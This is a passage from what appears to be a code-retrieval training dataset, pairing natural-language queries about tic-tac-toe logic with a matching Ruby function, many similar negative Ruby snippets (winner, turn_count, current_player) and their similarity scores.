"0.7982473",
"0.7974221",
"0.7968527",
"0.79465073",
"0.79282427",
"0.7904567",
"0.7904194"
] |
0.8249867
|
46
|
Takes a board as an argument and returns the winner as X or O
|
def winner(board)
if won = won?(board)
board[won[0]]
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def winner(board)\n if (over?(board))\n if (board[won?(board)[0]] == \"X\")\n return \"X\"\n else\n return \"O\"\n end\n else\n end\n end",
"def winner(board)\n save = won?(board)\n if save == false\n return nil\n end\n if board[save[0]] == \"X\"\n return \"X\"\n elsif board[save[0]] == \"O\"\n return \"O\"\n end\n end",
"def winner(board)\n if won?(board) && board[won?(board)[0]] == \"X\"\n return \"X\"\n elsif won?(board) && board[won?(board)[0]] == \"O\"\n return \"O\"\n end\nend",
"def winner(board)\n win = won?(board)\n if (!win)\n return nil\n elsif (board[win[0]] == \"O\")\n return \"O\"\n else\n return \"X\"\n end\nend",
"def winner(board)\n if !(won?(board))\n return nil\n elsif won?(board).all?{|element| board[element] == \"X\"}\n return \"X\"\n elsif won?(board).all?{|element| board[element] == \"O\"}\n return \"O\"\n end\nend",
"def winner(board)\n if won?(board)\n position = won?(board)\n if board[position[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\nend",
"def winner(board)\n \n if (won?(board) == FALSE)\n return NIL\n end\n \n winning_combination = won?(board)\n win_player = board[winning_combination[0]]\n \n if (win_player == \"X\")\n return \"X\"\n else \n return \"O\"\n end\nend",
"def winner\n index = won?\n if index && @board.cells[index[0]] == \"X\"\n return \"X\"\n elsif index && @board.cells[index[0]] == \"O\"\n return \"O\"\n else\n return nil\n end\n end",
"def winner(board)\n wincombo = won?(board)\n if wincombo === nil\n return nil\n elsif board[wincombo[0]] == \"X\"\n return \"X\"\n elsif board[wincombo[0]] == \"O\"\n return \"O\"\n end\nend",
"def winner(board)\n won = won?(board)\n if won != false\n if board[won[0]] == \"X\"\n return \"X\"\n elsif board[won[0]] == \"O\"\n return \"O\"\n end\n else\n return nil\n end\nend",
"def winner(board)\n if won?(board) !=false\n winning_index = won?(board)\n\n if board[winning_index[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\n\nend",
"def winner\n win_combination = won?\n if win_combination == false\n nil\n elsif @board.cells[win_combination[0]] == \"X\"\n return \"X\"\n elsif @board.cells[win_combination[0]] == \"O\"\n return \"O\"\n end\n end",
"def winner(board)\n # returns X when X won, O when O won and nill when there is no winner\n if (draw?(board) || !full?(board)) && !won?(board)\n return nil\n elsif (board[won?(board)[0]] == \"X\")\n return \"X\"\n elsif (board[won?(board)[0]] == \"O\")\n return \"O\"\n end\nend",
"def winner(board)\n\n if won?(board) != nil\n winner_arr_firstindex = won?(board)[0]\n if board[winner_arr_firstindex] == \"X\"\n return \"X\"\n elsif board[winner_arr_firstindex] == \"O\"\n return \"O\"\n end\n end\n\nend",
"def winner\n win_combo = won?\n if win_combo\n @board[win_combo[0]] # == 'X' || 'O'\n else\n nil\n end\n end",
"def winner\n won = won?()\n if won != false\n if @board[won[0]] == \"X\"\n return \"X\"\n elsif @board[won[0]] == \"O\"\n return \"O\"\n end\n else\n return nil\n end\n end",
"def winner(board)\n if won?(board)\n win_combo=won?(board) # 3 indices - all x or all o\n return board[win_combo[0]] # win_combo[0] has the first index of the winning combo\n else\n return nil\n end\nend",
"def winner(board)\n if won?(board)\n win_combo=won?(board) # 3 indices - all x or all o\n return board[win_combo[0]] # win_combo[0] has the first index of the winning combo\n else\n return nil\n end\nend",
"def winner()\n if won?()\n win = won?()\n if @board[win[0]] == \"X\"\n return \"X\"\n elsif @board[win[0]] == \"O\"\n return \"O\"\n else @board[win[0]] != \"X\" && @board[win[0]] != \"O\" #srsly..this is like ducttape over a huge hole\n return nil\n end\n end\nend",
"def winner\n if won? == false\n return nil\n end\n\n a = won?\n\n if @board[a[0]] == \"X\"\n return \"X\"\n else \n return \"O\"\n end\nend",
"def winner(board)\n array = [1]\n array = combinations(board) if combinations(board)\n \n if array.all?(X_TOKEN)\n 1\n elsif array.all?(O_TOKEN)\n 2\n end\n end",
"def winner(board)\n if won?(board).class == Array\n won?(board).each do |winner|\n if board[winner[0]] == \"X\" || board[winner[0]] == \"O\"\n return board[winner[0]]\n end\n end\n end\nend",
"def winner(board)\n #win_combination=won?(board)\n #if win_combination==false\n # return nil\n if !won?(board)\n #return nil\n nil\n else\n win_combination=won?(board)\n\n index1=win_combination[0]\n index2=win_combination[1]\n index3=win_combination[2]\n if board[index1]==\"X\"&&board[index2]==\"X\"&&board[index1]==\"X\" #&& over?(board)\n #return \"X\"\n \"X\"\n elsif board[index1]==\"O\"&&board[index2]==\"O\"&&board[index1]==\"O\" #&& over?(board)\n #return \"O\"\n \"O\"\n end\n end\nend",
"def winner(board)\n WIN_COMBINATIONS.each do |combo|\n if board[combo[0]] == \"X\" && board[combo[1]] == \"X\" && board[combo[2]] == \"X\"\n return \"X\"\n elsif board[combo[0]] == \"O\" && board[combo[1]] == \"O\" && board[combo[2]] == \"O\"\n return \"O\"\n else\n end\n end\n return nil\nend",
"def winner\n # shortcut for less typing\n b = @board\n\n # rows\n return b[0] if b[0] == b[1] && b[1] == b[2]\n return b[3] if b[3] == b[4] && b[4] == b[5]\n return b[6] if b[6] == b[7] && b[7] == b[8]\n\n # cols\n return b[0] if b[0] == b[3] && b[3] == b[6]\n return b[1] if b[1] == b[4] && b[4] == b[7]\n return b[2] if b[2] == b[5] && b[5] == b[8]\n\n # diagonals\n return b[4] if b[0] == b[4] && b[4] == b[8]\n return b[4] if b[2] == b[4] && b[4] == b[6]\n\n end",
"def winner(board)\n # index = won?(board).pop\n if won?(board) == nil\n nil\n elsif board[won?(board)[0]] == \"X\"\n \"X\"\n elsif board[won?(board)[0]] == \"O\"\n \"O\"\n end\nend",
"def winner(board)\n WIN_COMBINATIONS.each do |win|\n if [board[win[0]], board[win[1]], board[win[2]]] == [\"X\", \"X\", \"X\"]\n return \"X\"\n elsif [board[win[0]], board[win[1]], board[win[2]]] == [\"O\", \"O\", \"O\"]\n return \"O\"\n end\n end\n return nil\nend",
"def winner(board)\n if won?(@board)\n return @board[won?(@board)[0]]\n end\n end",
"def winner\n (rows + cols + diagonals).each do |triple|\n return :x if triple == [:x, :x, :x]\n return :o if triple == [:o, :o, :o]\n end\n \n nil\n end",
"def winner (board)\n index = []\n index = won?(board)\n if index == false\n return nil\n else\n if board[index[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\nend",
"def winner (board)\n index = []\n index = won?(board)\n if index == false\n return nil\n else\n if board[index[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\nend",
"def winner(board)\n WIN_COMBINATIONS.detect do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return \"X\"\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return \"O\"\n end\n end\nend",
"def winner(board)\n #setting the index of the win into a variable, win\n win = won?(board)\n #now returning nil if there is no winner\n if won?(board) == false\n return nil\n #all indexes should have the same token for a win, so we're only checking the first\n elsif board[win[0]] == \"X\" && won?(board) != false\n return \"X\"\n elsif board[win[0]] == \"O\" && won?(board) != false\n return \"O\"\n end\nend",
"def winner\n WIN_COMBINATIONS.detect do |win_combo|\n if (@board[win_combo[0]]) == \"X\" && (@board[win_combo[1]]) == \"X\" && (@board[win_combo[2]]) == \"X\"\n return \"X\"\n elsif (@board[win_combo[0]]) == \"O\" && (@board[win_combo[1]]) == \"O\" && (@board[win_combo[2]]) == \"O\"\n return \"O\"\n else\n nil\n end\n end\n end",
"def winner\n WIN_COMBINATIONS.detect do |win_combo|\n if (@board[win_combo[0]]) == \"X\" && (@board[win_combo[1]]) == \"X\" && (@board[win_combo[2]]) == \"X\"\n return \"X\"\n elsif (@board[win_combo[0]]) == \"O\" && (@board[win_combo[1]]) == \"O\" && (@board[win_combo[2]]) == \"O\"\n return \"O\"\n else\n nil\n end\n end\n end",
"def winner\n [\n [[0,0],[0,1],[0,2]], # column 0\n [[1,0],[1,1],[1,2]], # column 1\n [[2,0],[2,1],[2,2]], # column 2\n [[0,0],[1,0],[2,0]], # row 0\n [[0,1],[1,1],[2,1]], # row 1\n [[0,2],[1,2],[2,2]], # row 2\n [[0,0],[1,1],[2,2]], # descending diagonal\n [[0,2],[1,1],[2,0]], # ascending diagonal\n ].each do |cells|\n vals = cells.map {|x, y| board[y][x] }\n return :x if vals == %w( X X X )\n return :o if vals == %w( O O O )\n end \n return nil\n end",
"def winner(board_array)\n if won?(board_array) && board_array.include?(\"O\")\n return \"O\"\n elsif won?(board_array) && board_array.include?(\"X\")\n return \"X\"\n else\n return nil\n end \nend",
"def winner(board)\n if !won?(board)\n return nil\n else board[won?(board)[0]]\n end\nend",
"def winner(board)\n winner = won?(board)\n return won?(board) == false ? nil : board[winner[0]]\nend",
"def winner(board)\n if won?(board) != nil\n board[won?(board)[0]]\n else\n end\nend",
"def winner(board)\n if won?(board) != nil\n board[won?(board)[0]]\n else\n end\nend",
"def winner (board)\n result = won?(board)\n # Get first character of the winning combination, if there was any winning combination.\n board[result[0]] if result.class == Array\nend",
"def winner(board)\n win_combo = won?(board)\n if win_combo\n return board[win_combo[0]]\n end\nend",
"def winner(board)\n won?(board) ? board[won?(board)[0]] : nil\nend",
"def winner\n (@rows + cols + diagonals).each do |row|\n return :x if row.all? { |mark| mark == :x }\n return :o if row.all? { |mark| mark == :o }\n end\n \n nil\n end",
"def winner\n if won?\n return @board[ won?[0] ]\n else\n return nil\n end\n end",
"def winner(board)\r\n won?(board)\r\n if won?(board)\r\n board[won?(board)[0]]\r\n end\r\nend",
"def winner\n if won?\n @board[won?[0]]\n end\n end",
"def winner(board)\n result = won?(board)\n if result\n board[result[0]]\n end\nend",
"def winner(board)\n result = won?(board)\n if result\n board[result[0]]\n end\nend",
"def winner(board)\n winning_combo = won?(board)\n if winning_combo\n return board[winning_combo[0]]\n end\nend",
"def winner\n return @board[won?[0]] if won?\n end",
"def winner\n won? ? board.cells[won?[0]] : nil\n end",
"def winner(board)\n if won?(board)\n board[won?(board)[0]]\n end\nend",
"def winner(board)\n triplet = won?(board)\n if !!triplet\n return board[triplet[0]]\n end\n return nil\nend",
"def winner(board)\n triplet = won?(board)\n if !!triplet\n return board[triplet[0]]\n end\n return nil\nend",
"def winner(board)\n return board[won?(board)[0]] if won?(board)\nend",
"def winner(board)\n if won?(board)\n winner = won?(board)\n return board[winner[0]]\n else\n return nil\n end\nend",
"def player_or_computer(board, winner)\n return nil if board[winner] == BLANK_SQUARE\n if board[winner] == PLAYER_PIECE\n return 'You win!'\n else\n return 'Computer wins!'\n end\nend",
"def winner(board)\n index = []\n index = won?(board)\n if index == false\n return nil\n elsif\n board[index[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\nend",
"def winner(board)\n index = []\n index = won?(board)\n if index == false\n return nil\n elsif\n board[index[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\nend",
"def winner(board)\n\nif over?(board)\nreturn board[over?(board)[0]]\nend\nend",
"def winner(board)\n if winning_combo = won?(board)\n board[winning_combo.first]\n end\n\n # x_arr = board.each_index.select{|i| board[i] == 'X'}\n # o_arr = board.each_index.select{|i| board[i] == 'O'}\n # if won?(board) == nil\n # nil\n # elsif (won?(board)-x_arr).empty?\n # p \"X\"\n # elsif (won?(board)-o_arr).empty?\n # p \"O\"\n # end\nend",
"def winner(board)\n if won?(board) != false\n return board[won?(board)[0]]\n end\nend",
"def winner(board)\n if winning_combination = won?(board)\n board[winning_combination[0]]\n end\nend",
"def winner(board)\r\n #return token x or o that won the game\r\n \r\n if ( won?(board) )\r\n position_array = []\r\n (won?(board)).each do |element|\r\n position_array << board[element]\r\n end\r\n choice_X = position_array.all? do|element|\r\n element == \"X\"\r\n end\r\n if (choice_X )\r\n return \"X\"\r\n else\r\n return \"O\"\r\n end\r\n end\r\nend",
"def tie(board)\n board.spaces_array.all? { |s| s == \"X\" || s == \"O\" } && !winner(board)\n end",
"def winner(board)\n if won?(board)\n return board[won?(board)[0]]\n end\nend",
"def winner(board)\n if board[0]==\"X\" && board[1]==\"X\" && board[2]==\"X\" || board[0]==\"X\" && board[3]==\"X\" && board[6]==\"X\"\n puts \"X wins!!\"\n elsif board[3]==\"X\" && board[4]==\"X\" && board[5]==\"X\" || board[1]==\"X\" && board[4]==\"X\" && board[7]==\"X\"\n puts \"X wins!!\"\n elsif board[6]==\"X\" && board[7]==\"X\" && board[8]==\"X\" || board[2]==\"X\" && board[5]==\"X\" && board[8]==\"X\"\n puts \"X wins!!\"\n elsif board[0]==\"O\" && board[1]==\"O\" && board[2]==\"O\" || board[0]==\"O\" && board[3]==\"O\" && board[6]==\"O\"\n puts \"O wins!!\"\n elsif board[3]==\"O\" && board[4]==\"O\" && board[5]==\"O\" || board[1]==\"O\" && board[4]==\"O\" && board[7]==\"O\"\n puts \"O wins!!\"\n elsif board[6]==\"O\" && board[7]==\"O\" && board[8]==\"O\" || board[2]==\"O\" && board[5]==\"O\" && board[8]==\"O\"\n puts \"O wins!!\"\n elsif board[2]==\"X\" && board[4]==\"X\" && board[6]==\"X\" || board[0]==\"X\" && board[4]==\"X\" && board[8]==\"X\"\n puts \"X wins!!\"\n elsif board[2]==\"O\" && board[4]==\"O\" && board[6]==\"O\" || board[0]==\"O\" && board[4]==\"O\" && board[8]==\"O\"\n puts \"O wins!!\"\n else\n\n end\n\nend",
"def winner(board)\n if !won?(board) == false\n board[won?(board).first]\n end\nend",
"def winner(board)\n if win_combo = won?(board)\n board[win_combo.first]\n else\n nil\n end\nend",
"def winner?(board)\n WINNING_LINES.each do |line|\n if board[line[0]] == 'X' && board[line[1]] == 'X' && board[line[2]] == 'X'\n return 'Player'\n elsif board[line[0]] == 'O' && board[line[1]] == 'O' && board[line[2]] == 'O'\n return 'Computer'\n end # end if \n end #end do\n return nil\nend",
"def winner \n @board[won?[0]] if won?\n end",
"def winner(board)\n if won?(board) then return board[won?(board)[0]]\n end\nend",
"def winner(board)\n # Return the square entry from the winning configuration\n won?(board) ? board[won?(board)[0]] : nil\nend",
"def winner(board)\n the_winner = won?(board)\n if the_winner\n board[the_winner[0]]\n else\n return nil\n end\nend",
"def winner(board)\n win = won?(board)\n if win == false\n return nil\n else\n board[win[0]]\n end\nend",
"def winner(board)\n\tif won?(board) != nil\n\t\twon?(board).each do |win_num|\n\t\t\treturn board[win_num][0]\n\t\tend\n\tend\nend",
"def winner(board)\n if combination = won?(board)\n board[combination.first]\n end\nend",
"def winner\n if won?\n winner = won?\n return @board[winner[0]]\n else\n return nil\n end\n end",
"def winner(board)\n win = won?(board)\n win = board[win[0]] if win != false\nend",
"def win\n # horizontal win\n winner = horizontal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Vertical win (way harder to test for)\n winner = vertical_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Diagonal win\n winner = diagonal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # If the board is full and there are no declared winners\n\n if full?\n victory(\"Nobody\")\n return \"tie\"\n end\n return false\n end",
"def winner(board)\n if won?(board) == false\n return nil\n else\n arra = won?(board)\n return (board[arra[0]])\n end\nend",
"def winner(board)\n if winning_combo = won?(board)\n board[winning_combo.first]\n end\nend",
"def winner(board)\n \n win_combination = won?(board)\n if win_combination.is_a? Array\n return board[win_combination[0]]\n else\n return nil\n end\n \nend",
"def winner(board)\n if won?(board) != false\n return board[won?(board)[0]]\n else\n return nil\n end\nend",
"def winner(board)\n won_board = won?(board)\n if(won_board.kind_of?(Array))\n board[won_board[0]]\n else\n nil\n end\nend",
"def winner(board)\n won_board = won?(board)\n if(won_board.kind_of?(Array))\n board[won_board[0]]\n else\n nil\n end\nend",
"def winner\n if won? == nil\n return nil\n else\n winning_position = won?\n winning_index = winning_position[0]\n @board[winning_index]\n end\n end",
"def winner\nsub_array = won?\n if won? == false\n return nil\n elsif @board[sub_array[1]] == \"X\"\n return \"X\"\n elsif @board[sub_array[1]] == \"O\"\n return \"O\"\nend\nend",
"def winner\n triplet = won?\n if !!triplet\n return @board[triplet[0]]\n end\n return nil\n end",
"def winner(board)\n if won?(board)\n indexes = won?(board)\n return board[indexes[0]]\n else \n return nil \n end\nend",
"def winner(board)\n who_wins = won?(board)\n if who_wins\n board[who_wins[0]] \n else\n nil\n end\nend",
"def winner\n if won?\n @board[won?[0]]\n end\n end",
"def winner\n if combo = won?\n winner = board.position(combo.first + 1)\n end\n winner\n end",
"def winner\n self.won?? self.board.cells[self.won?[0]] : nil\n end",
"def won?(board)\n WIN_COMBINATIONS.each do |combo|\n if board[combo[0]] == \"X\" && board[combo[1]] == \"X\" && board[combo[2]] == \"X\"\n # x wins\n return combo\n end\n \n if board[combo[0]] == \"O\" && board[combo[1]] == \"O\" && board[combo[2]] == \"O\"\n # o wins\n return combo\n end\n end\n\n return false\nend",
"def winner(board)\n if winner = won?(board) #[0,1,2]\n board[winner[0]]\nelse\n nil\nend\nend",
"def winner(board)\n if win_combo = won?(board)\n board[win_combo.first]\n end\nend",
"def player_or_computer(board, winner)\n return nil if board[winner] == BLANK_SQUARE\n if board[winner] == PLAYER_PIECE\n inc_score(board, 'player')\n return 'You win!'\n else\n inc_score(board, 'computer')\n return 'Computer wins!'\n end\nend",
"def winner\r\n win_combination = won?\r\n if win_combination\r\n win_index = win_combination[0]\r\n @board[win_index]\r\n end\r\n end"
] |
[
"0.88271916",
"0.88257676",
"0.86055344",
"0.8569516",
"0.85516334",
"0.85302",
"0.844751",
"0.84457445",
"0.84240496",
"0.8393373",
"0.83139795",
"0.83129966",
"0.83113253",
"0.8287799",
"0.8268309",
"0.82630044",
"0.82574457",
"0.82574457",
"0.82429934",
"0.82364154",
"0.82248455",
"0.8207435",
"0.8119352",
"0.8107292",
"0.8087734",
"0.8084242",
"0.8058664",
"0.805336",
"0.8051942",
"0.80437577",
"0.80437577",
"0.8030983",
"0.80208266",
"0.7996824",
"0.7992939",
"0.79883325",
"0.7913621",
"0.79048175",
"0.7897476",
"0.78823346",
"0.78823346",
"0.7881823",
"0.78704727",
"0.78630954",
"0.78630775",
"0.7850909",
"0.7843161",
"0.7837032",
"0.78299195",
"0.78299195",
"0.7823862",
"0.7821956",
"0.7821793",
"0.7813426",
"0.7813383",
"0.7813383",
"0.78124565",
"0.7810161",
"0.7809232",
"0.78033346",
"0.78033346",
"0.7803138",
"0.7798429",
"0.77957255",
"0.7795339",
"0.77947485",
"0.7792628",
"0.7785043",
"0.77846473",
"0.77730715",
"0.7770572",
"0.7764315",
"0.7762935",
"0.7757994",
"0.77475077",
"0.7742713",
"0.7741819",
"0.77415365",
"0.77400684",
"0.7738001",
"0.77278316",
"0.7722825",
"0.7715165",
"0.7700431",
"0.7698074",
"0.76874876",
"0.76810867",
"0.76810867",
"0.76805085",
"0.7676917",
"0.7671232",
"0.76710254",
"0.7671018",
"0.7668696",
"0.76680547",
"0.7667399",
"0.7665094",
"0.76602405",
"0.7659605",
"0.76568836",
"0.76476586"
] |
0.0
|
-1
|
Takes the board state as an argument and determines the current turn number
|
def turn_count(board)
turn = 0
board.each do |position|
if position == "X" || position == "O"
turn += 1
end
end
return turn
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def current_player(board)\nturn_count(board).even? ? \"X\":\"O\"\nend",
"def turn\n marker = @turn_count.even? ? marker = \"X\" : marker = \"O\"\n move\n print \"Current board: \"\n show_board\n @player +=1\n end",
"def current_player(board)\n count = turn_count(board)\n count.even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board)\n if turn_count(board).even?\n \"X\"\n else \n \"O\"\n end\nend",
"def utility(state)\n return 0 if rules.draw?(state)\n\n (state.turn == team) ? -1 : 1 \n end",
"def current_player(board)\n next_turn = turn_count(board)\n if next_turn % 2 == 0 \n return 'X'\n else \n return 'O'\n end\nend",
"def current_player(board)\n turns = turn_count(board)\n if turns.odd?\n return \"O\"\n else\n return \"X\"\n end\nend",
"def turn_count(board)\n turn_counter = 0\n (board.length).times do |i|\n if position_taken?(board, i)\n turn_counter += 1\n end\n end\n\n return turn_counter\nend",
"def turn_count(board)\n turn_count = 0\n \n board.each do |counter|\n if counter == \"X\" || counter == \"O\"\n turn_count += 1\n end\n end\n \n turn_count\n end",
"def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\" #even turn count == X\n end \n return \"O\" #odd turn count == O \nend",
"def current_player(board)\nturn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).odd? ? \"O\" : \"X\"\nend",
"def current_player(board)\n turn_count(board).odd? ? \"O\" : \"X\"\nend",
"def current_player(board)\n return turn_count(board).odd? ? \"O\" : \"X\"\n\nend",
"def current_player(board)\n count = turn_count(board)\n return count.odd? ? \"O\" : \"X\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def turn\n puts \"Round #{@board.turn_count}\"\n input = current_player.move(@board)\n if @board.valid_move?(input)\n @board.cells[input.to_i - 1] = current_player.token\n @board.display\n else\n turn\n end\n end",
"def next_turn(ending_cup_idx)\n return :prompt if ending_cup_idx == 6 || ending_cup_idx == 13\n return :switch if @cups[ending_cup_idx].count == 1\n return ending_cup_idx\n end",
"def current_player(board)\n if turn_count(board).even?\n \"X\"\n elsif turn_count(board).odd?\n \"O\"\n end\nend",
"def turn_count #counts occupied positions!\n turn = 0 #start at position 0.\n @board.each do |index| #iterating through each spot on the board. Is it occupied?\n if index == \"X\" || index == \"O\" #if there is an X or O in that spot,\n turn += 1 #then you must turn!\n end\n end\n return turn #if there is not an X or O in that spot, take your turn and put your X or O there.\nend",
"def state x, y, m, n, board\n old_state = board[ x ][ y ]\n live_count = 0\n (x-1..x+1).each { |i|\n (y-1..y+1).each { |j|\n if i == x and j == y\n next\n end\n if 0 <= i and i < m and 0 <= j and j < n\n if wasLive board[ i ][ j ]\n live_count = live_count + 1\n end\n end\n }\n }\n if wasLive old_state\n if live_count == 2 or live_count == 3\n new_state = 1\n else\n new_state = 2\n end\n else\n if live_count == 3\n new_state = 3\n else\n new_state = 0\n end\n end\n new_state\nend",
"def current_player(board)\n count = turn_count(board)\n if count.even?\n return \"X\"\n else\n return \"O\"\n end\nend",
"def current_player(board)\n player = turn_count(board).even? ? \"X\" : \"O\"\nend",
"def Turn(board)\n\t\tlevel = num_available_moves(board)\n\t\tif special_cases(board, level) != -1\n\t\t\treturn special_cases(board,level)\n\t\telse\n\t\t\tcurrent_turn = false\n\t\t\ttree board, level, current_turn, level, nil\n\t\t\tlowest_index = best_computer\n\t\t\treset\n\t\t\treturn lowest_index + 1\n\t\tend\n\tend",
"def current_player(board)\n \n num_turns = turn_count(board)\n \n if num_turns % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\n\nend",
"def current_player(board)\n turn = turn_count(board)\n if turn == 0\n return \"X\"\n elsif turn == 1\n return \"O\"\n elsif turn == 2\n return \"X\"\n end\nend",
"def calculate_next_cell_state(row, col)\n living_neighbours = count_living_neighbours(row, col)\n current_cell_state = @current_board[row][col]\n\n current_cell_state = if living_neighbours < 2 || living_neighbours > 3\n 0\n elsif (living_neighbours == 2 && current_cell_state != 0) || living_neighbours == 3\n 1\n else\n 0\n end\n\n current_cell_state\n end",
"def turn\n @turn ||= (self.match.moves.index( self ) + 2) / 2\n end",
"def turn_count(board)\n turn_counter = 0\n board.each do |spot|\n if spot == \"X\" || spot.upcase == \"O\"\n turn_counter +=1\n end\n end\n return turn_counter\nend",
"def turn_count\n counter = 0\n @board.each do |positions|\n if positions == \"X\" || positions == \"O\"\n counter += 1\n end\n end\n counter.to_i\n end",
"def comp_turn\n index = computer_index\n if valid_move?(index)\n move(index, current_player)\n display_board\n else\n comp_turn\n end\n end",
"def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\" #call #turn_count. Ternary operators ? : looks for true/false values then executes\nend",
"def current_player(board)\n if turn_count(board).even?\n current_player = \"X\"\n else\n current_player = \"O\"\n end\nend",
"def current_player(board)\n if turn_count(board).odd?\n \"O\"\n else\n \"X\"\n end\nend",
"def turn\n puts \"#{@current_player.name}\\'s turn. Choose your cell (1-9)\" \n choice = gets.chomp.to_i\n if choice > 9 || choice < 1\n puts \"Warning : number must be between 1 and 9\"\n elsif @current_player.move(choice) != false\n @winner = @current_player if @current_player.winner?\n @turn += 1\n switch_player\n end\n end",
"def current_player(board)\n turn_count(board)%2 == 0 ? \"X\" : \"O\"\nend",
"def state\n board.state(index)\n end",
"def turn_count\n counter = 0\n @board.each do|position|\n if position == \"X\" || position == \"O\"\n counter += 1 \n end\n end\n return counter\nend",
"def turn_count\n turns = 0\n @board.each do |spot|\n if spot==\"X\" || spot==\"O\"\n turns += 1\n end\n end\n return turns\n end",
"def take_turn(turn_value)\n turn = turn_value\n \n if turn.even? \n @player_human.move(@board)\n puts drawgrid \n is_a_human_win(@board) \n else\n @player_computer.move(@board)\n puts drawgrid \n is_a_computer_win(@board) \n end \n end",
"def turn_count()\n current_turn = 0\n @board.each do |space|\n if space != \" \"\n current_turn += 1\n end\n end\n return current_turn\n end",
"def current_player(board)\n return turn_count(board)%2==0 ? \"X\" : \"O\"\nend",
"def turn_count(board)\n count = 0\n board.each do |index|\n index == \"X\" || index == \"O\" ? count += 1 : nil\n end\n return count\n end",
"def turn_count\n turns = 0\n @board.each do |position|\n if position == \"X\" || position == \"O\"\n turns += 1\n end\n end\n return turns\n end",
"def current_player(board)\n if turn_count(board).even?\n \"X\"\n else\n \"O\"\n end\nend",
"def current_player(board)\n if turn_count(board).even?\n \"X\"\n else\n \"O\"\n end\nend",
"def current_player(board)\n #is turn count divisible by 2 then return X, if not, return O. \n turn_count(@board) % 2 == 0? \"X\" : \"O\"\n end",
"def turn_count(board)\n counter = 0\n board.each do |box|\n if box == \"X\" || box == \"O\"\n counter += 1\nend\nend\n return counter\nend",
"def turn_count(board)\n turns = 0\n board.each do |spot|\n if spot==\"X\" || spot==\"O\"\n turns += 1\n end\n end\n return turns\nend",
"def current_player(board)\n var = turn_count(board)\n if var.even?\n return \"X\"\n elsif var.odd?\n return \"O\"\n end \n var\nend",
"def turn_count(board)\n counter = 0\n board.each do |move|\n if move == \"X\" || move == \"O\"\n counter += 1\nend\nend\ncounter\nend",
"def current_player(board)\n if turn_count(board).even?\n return \"X\"\n else\n return \"O\"\n end\nend",
"def current_player(board)\n if turn_count(board).even?\n return \"X\"\n else\n return \"O\"\n end\nend",
"def current_player(board)\n turns = turn_count(board) % 2\n if turns == 0\n return \"X\"\n else\n return \"O\"\nend\nend",
"def current_player(board)\n return (turn_count(board).even? ? \"X\" : \"O\")\nend",
"def turn_count()\n turns = 0\n \n @board.each do |position|\n if position.eql?(\"X\") || position.eql?(\"O\")\n turns += 1\n end\n end\n \n return turns\n end",
"def turn_count\r\n turns_so_far = 0\r\n @board.each do |arr_item|\r\n if arr_item == \"X\" || arr_item ==\"O\"\r\n turns_so_far += 1\r\n end\r\n end\r\n return turns_so_far\r\n end",
"def turn_count\n counter = 0\n @board.each do |index_taken|\n if index_taken == \"X\" || index_taken == \"O\"\n counter += 1\n end\n end\n counter\n end",
"def current_player_turn\n turns % 2 == 0 ? 1 : 2\n end",
"def current_player(board)\n if turn_count(board)&1==0 || turn_count(board) == 0;\n return \"X\"\n else\n return \"O\"\n end\nend",
"def turn_count(board)\n counter = 0\n board.each do |count_turn|\n if count_turn == \"X\" || count_turn == \"O\"\n counter += 1\n end\n end\n counter\nend",
"def current_player(board)\n counter = turn_count(board)\n if counter % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"def current_player(board)\n#takes #turn_count and checks if even, then(?) gives value of X, else(:) it is O\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend",
"def current_player(board)\nif turn_count(board) % 2 == 0\n \"X\"\nelsif turn_count(board) % 2 == 1\n \"O\"\n end\nend",
"def current_player(board)\n current_turn = turn_count(board)\n if current_turn == 0 || current_turn % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"def turn_count(board)\n turn_counter = 0\n board.each do |turn|\n if turn == \"X\" || turn == \"O\"\n turn_counter += 1\n end\n end\n turn_counter\nend",
"def turn_count(board)\n counter = 0\n board.each do |index|\n if (index == \"X\" or index == \"O\")\n counter+=1\n end\n end\n return counter\nend",
"def turn\n puts \"Turn #{@board.count_turn + 1}, player #{get_current_player.name} choose:\"\n @board.play_turn\n end",
"def turn_count\n counter = 0\n @board.each do |position|\n\n if position == \"X\" || position == \"O\"\n counter += 1\n end\n\n end\n counter\n end",
"def next_turn( )\n\t\t\t@turn = if @turn == :white then :black else :white end\n\t\tend",
"def current_player(board)\n turns=turn_count(board)\n if(turns%2==0)\n \"X\"\n else\n \"O\"\n end\nend",
